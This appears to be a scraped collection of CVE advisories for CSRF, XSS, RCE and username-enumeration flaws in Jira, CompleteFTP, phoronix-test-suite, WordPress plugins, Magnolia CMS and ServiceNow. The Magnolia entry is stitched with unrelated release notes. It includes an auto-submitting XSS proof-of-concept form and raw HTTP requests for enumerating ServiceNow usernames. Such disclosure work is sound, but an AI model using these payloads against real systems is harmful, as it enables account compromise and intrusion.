Affected versions of Atlassian Jira Server and Data Center allow unauthenticated remote attackers to toggle the Thread Contention and CPU monitoring settings via a Cross-Site Request Forgery (CSRF) vulnerability in the /secure/admin/ViewInstrumentation.jspa endpoint. The affected versions are before version 8.21.0.

Affected versions of Atlassian Jira Server and Data Center allow unauthenticated remote attackers to toggle the Thread Contention and CPU monitoring settings via a Cross-Site Request Forgery (CSRF) vulnerability in the /secure/admin/ViewInstrumentation.jspa endpoint.

The affected versions are before version 8.21.0.

**Affected versions:**

*   version < 8.21.0

**Fixed versions:**

*   8.21.0

CVE-2021-43953: [JRASERVER-73170] CSRF allows toggling Thread Contention and CPU Monitoring - CVE-2021-43953

Affected versions of Atlassian Jira Server and Data Center allow unauthenticated remote attackers to restore the default configuration of fields via a Cross-Site Request Forgery (CSRF) vulnerability in the /secure/admin/RestoreDefaults.jspa endpoint. The affected versions are before version 8.21.0.

Affected versions of Atlassian Jira Server and Data Center allow authenticated remote attackers to restore the default configuration of fields via a Cross-Site Request Forgery (CSRF) vulnerability in the /secure/admin/RestoreDefaults.jspa endpoint.

**This bug is currently fixed on Jira 8.21.0.**  
**Non LTS versions < 8.21.0 are still affected.**

**Previous LTS versions affected by this bug**: 

*   Jira < 8.20.6 and Jira < 8.13.18

**The bug fix was backported to the following previous LTS version patches:**

*   Fixed on Jira 8.20.6 and 8.13.18

CVE-2021-43952: [JRASERVER-73138] Default field configuration can be restored via CSRF - CVE-2021-43952

Affected versions of Atlassian Jira Server and Data Center allow authenticated remote attackers to restore the default configuration of fields via a Cross-Site Request Forgery (CSRF) vulnerability in the /secure/admin/RestoreDefaults.jspa endpoint.

The affected versions are before version 8.21.0.

**Affected versions:**

*   version < 8.21.0

**Fixed versions:**

*   8.21.0

CompleteFTPService.exe in the server in EnterpriseDT CompleteFTP before 12.1.4 allows Remote Code Execution by leveraging a Windows user account that has SSH access. The exec command is always run as SYSTEM.

CVE-2019-16864: CompleteFTP: CompleteFTP revision history

Cross-site Scripting (XSS) - Reflected in GitHub repository phoronix-test-suite/phoronix-test-suite prior to 10.8.2.

**Description**

Hi, i found a Reflected XSS vulnerability (POST based XSS + no CSRF token) in phoronix test suite, Results tab.

**Proof of Concept**

    Install a local instance of phoronix
    create a Search results form like this:
    // PoC.html
    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://localhost:8222/?results" method="POST">
          <input type="hidden" name="time_start" value="2022&#45;02&#45;08&quot;onfocus&#61;&quot;confirm&#40;origin&#41;&quot;autofocus&#61;&quot;" />
          <input type="hidden" name="time_end" value="2022-02-09" />
          <input type="hidden" name="containing_tests" value="testt" />
          <input type="hidden" name="result_limit" value="100" />
          <input type="submit" value="Submit request" />
        </form>
        <script>
          document.forms[0].submit();
        </script>
      </body>
    </html>
    //
    and send to victim. Victim click on the link resulting reflected cross site scripting.
    

**Impact**

This vulnerability is capable of Reflected XSS

CVE-2022-0571: Cross-site Scripting (XSS) - Reflected in phoronix-test-suite

The Ibtana WordPress plugin before 1.1.4.9 does not have authorisation and CSRF checks in the ive_save_general_settings AJAX action, allowing any authenticated users, such as subscriber to call it and change the plugin's settings which could lead to Stored Cross-Site Scripting issue.

CVE-2021-25014

The PPOM for WooCommerce WordPress plugin before 24.0 does not have authorisation and CSRF checks in the ppom_settings_panel_action AJAX action, allowing any authenticated to call it and set arbitrary settings. Furthermore, due to the lack of sanitisation and escaping, it could lead to Stored XSS issues

CVE-2021-25018

The Remove Footer Credit WordPress plugin before 1.0.6 does not have CSRF check in place when saving its settings, which could allow attacker to make logged in admins change them and lead to Stored XSS issue as well due to the lack of sanitisation

CVE-2021-24446

An issue in the Login page of Magnolia CMS v6.2.3 and below allows attackers to exploit both an Open Redirect vulnerability and Cross-Site Request Forgery (CSRF) in order to brute force and exfiltrate users' credentials.

**Support for OPTIONS method for CORS preflight requests**

In this release, Magnolia brings two new filter implementations that handle CORS preflight requests:

*   `info.magnolia.module.site.filters.SiteAwareCorsFilter`
    
*   `info.magnolia.cors.SelfConfiguredCorsFilter`
    

When an OPTIONS HTTP request is received, Magnolia responds with headers that describe delivery capabilities based on the URI of the request and on active security and site configurations.

Developers can now configure CORS headers to be returned for such requests via either a site configuration or a configuration on the CORS filter.

Example configuration for a site called `foo`:

/modules/multisite/config/sites/foo/cors.yaml

    rest:
      allowedHeaders:
        - '*'
      allowedMethods:
        - GET
        - POST
        - OPTIONS
      allowedOrigins:
        - https://magnolia-cms.com
        - https://example.com
      uris:
        rest:
          patternString: /.rest/*

Same configuration on the CORS filter:

![image](https://docs.magnolia-cms.com/product-docs/6.2/_images/6-2-4-corsFilterConfig.png)

**Resolver of asset links in rich text fields**

When configuring a Magnolia v2 delivery endpoint, you can use a reference resolver for asset links in rich text fields. The resolver converts UUID-based asset links to links with an absolute or relative URL. For the resolver properties, see Resolving asset links in rich text fields.

Example fragment of a REST response with the word `Kyoto` functioning as a link to an asset called `kyoto.jpg` and with the UUID `0a3bb34f-b49f-4e02-a9e9-e46cf860b612`:

    <p>Experience the still beauty that permeates and surrounds <a href=\"${link:{uuid:{0a3bb34f-b49f-4e02-a9e9-e46cf860b612},repository:{dam},path:{/untitled}}}\">Kyoto</a>.</p>

A fragment showing the converted link:

    <p>Experience the still beauty that permeates and surrounds <a href=\"http://localhost:8080/magnoliaAuthor/fallback/dam/jcr:0a3bb34f-b49f-4e02-a9e9-e46cf860b612/kyoto.jpg\">Kyoto</a>.</p>

**Asset names numbered on duplication**

If you duplicate an asset, a number will be appended to its name (left). Previously, with no such number, it was difficult to tell the original and the duplicate apart (right).

![image](https://docs.magnolia-cms.com/product-docs/6.2/_images/MGNLDAM-817.png)

**Timeout for locking mechanism**

There is now a five-minute timeout for the locking mechanism to mitigate an issue where nodes are locked even after publishing. For more details about this issue, see EEPUBLISH-28.

In addition, logging of publishing operations on the Receiver has been moved from the TRACE level to the DEBUG level.

**Improved observation mechanism**

When a new version of a content node is created in one workspace, the improved Magnolia observation mechanism (`info.magnolia.observation.*`) makes sure that Magnolia does not react unnecessarily to any event that creates a node in `/jcr:system`.

**Better user experience in tree view**

To improve column filtering in the tree view, the following has been implemented:

*   When at least one column filter is active, the tree view uses a flat structure. This is similar to the _Magnolia 5 UI_ search view, but now the views are not switched.
    
*   When all column filters are empty, the tree view reverts to the default structure.
    

**New API to configure default values in form fields**

Default values must be applied to form fields explicitly. To facilitate this, the `EditorView#applyDefaults()` API has been introduced.

A select field that uses an option list can now specify an option (string) as a default value, while a JCR select field can specify a UUID or path.

**Deprecated upload field**

As of this release, both UploadFieldDefinition and UploadViewDefinition are deprecated. In addition, `DamUploadFieldDefinition` is no longer annotated as a field type.

Do not use `UploadFieldDefinition` to upload assets directly to an app workspace. It is best to store your assets in the DAM workspace and link to them using a link field.

`DamUploadFieldDefinition` makes only sense in the context of the Magnolia Assets subapp. Do not use it generically in any other context.

**New password field for _Magnolia 6 UI_**

`PasswordFieldDefinition` renders a text field that masks input values when used only with custom actions. Note that passwords can be revealed in plain text when the field is used in dialogs with a standard `commit` action.

**`jcrChildNodeProvider` used by default with JCR multi field**

**New availability rule to check depth of JCR item**

The `jcrDepthRule` action availability type returns `true` if the item is within the specified depth range.

**Clear node name behavior in content type apps**

To avoid any confusion between the `name` and `jcrName` properties:

*   Apps generated from content types use `name` instead of `jcrName`.
    
*   The JCR Browser app shows only real node names regardless of whether `jcrName` is configured.
    

**Support for Java 7 locale IDs**

From this release, you can use Java 8 or Java 7 locale IDs in configuration. To refer to the Dutch spoken in Belgium, for example, you may use either `nl-BE` or `nl_BE`.

CVE-2021-46366: Release notes for Magnolia CMS 6.2.4 :: Magnolia CMS Docs

The password-reset form in ServiceNow Orlando provides different responses to invalid authentication attempts depending on whether the username exists.

During a recent engagement Trustwave SpiderLabs discovered a vulnerability (CVE-2021-45901) within ServiceNow (Orlando) which allows for a successful username enumeration by using a wordlist. By using an unauthenticated session and navigating to the password reset form, it is possible to infer a valid username. This is achieved through examination of the HTTP POST response data initially triggered by the password reset web form. This response differs depending on a username's existence.

This type of vulnerability can be used to chain together further attacks, such as password spray attacks, using known valid usernames.

ServiceNow is a highly utilized productivity management platform and in many cases is accessible via public domains. ServiceNow has patched this issue and recommends users update to ServiceNow (Rome) or later.

**Example**

The following illustrates the observable discrepancies within the HTTP Response POST Data which is used to infer a valid vs non-valid username. The section to pay attention to is the '**xml answer**' value, where in a valid response the value will be 200 and an invalid response the value will be 500.

**HTTP Request**

POST /$pwd\_reset.do?sysparm\_url=ss\_default HTTP/1.1  
Host: <IP>  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0

\[--- some fields cut for clarity ---\]

sysparm\_processor=PwdAjaxVerifyIdentity&sysparm\_scope=global&sysparm\_want\_session\_messages=true&sysparm\_name=verifyIdentity&sysparm\_process\_id=<redacted>&sysparm\_processor\_id\_0=<redacted>&sysparm\_user\_id\_0=admin&sysparm\_identification\_number=1&sysparm\_pwd\_csrf\_token=<redacted>&ni.nolog.x\_referer=ignore&x\_referer=%24pwd\_reset.do%3Fsysparm\_url%3Dss\_default

**HTTP Response for a Valid Username**

HTTP/1.1 200 OK  
Set-Cookie: glide\_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly  
Set-Cookie: glide\_user\_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly  
X-Is-Logged-In: false

\[--- some fields cut for clarity ---\]

<?xml version="1.0" encoding="UTF-8"?>  
   <**xml answer="200"** sysparm\_max="15" sysparm\_name="verifyIdentity" sysparm\_processor="PwdAjaxVerifyIdentity">  
   <security message="" pwd\_csrf\_token="<redacted>" status="ok"/>  
</xml>

**HTTP Response for a Invalid Username**

HTTP/1.1 200 OK  
Set-Cookie: glide\_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly  
Set-Cookie: glide\_user\_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly  
X-Is-Logged-In: false

\[--- some fields cut for clarity ---\]

<?xml version="1.0" encoding="UTF-8"?>  
   <**xml answer="500"** sysparm\_max="15" sysparm\_name="verifyIdentity" sysparm\_processor="PwdAjaxVerifyIdentity">  
   <security message="" pwd\_csrf\_token="<redacted>" status="ok"/>  
</xml>

As a part of Trustwave’s Responsible Disclosure Policy, we reached out to the vendor to ensure that a patch was released prior to public disclosure. The vendor's recommendation is to upgrade to Servicenow (Rome) which utilizes a simple captcha to assist in guarding against the vulnerability.

The following illustrates the custom script Trustwave SpiderLabs used to showcase the vulnerability against a susceptible endpoint.

POC code: https://github.com/9lyph/CVE-2021-45901

Tag

#csrf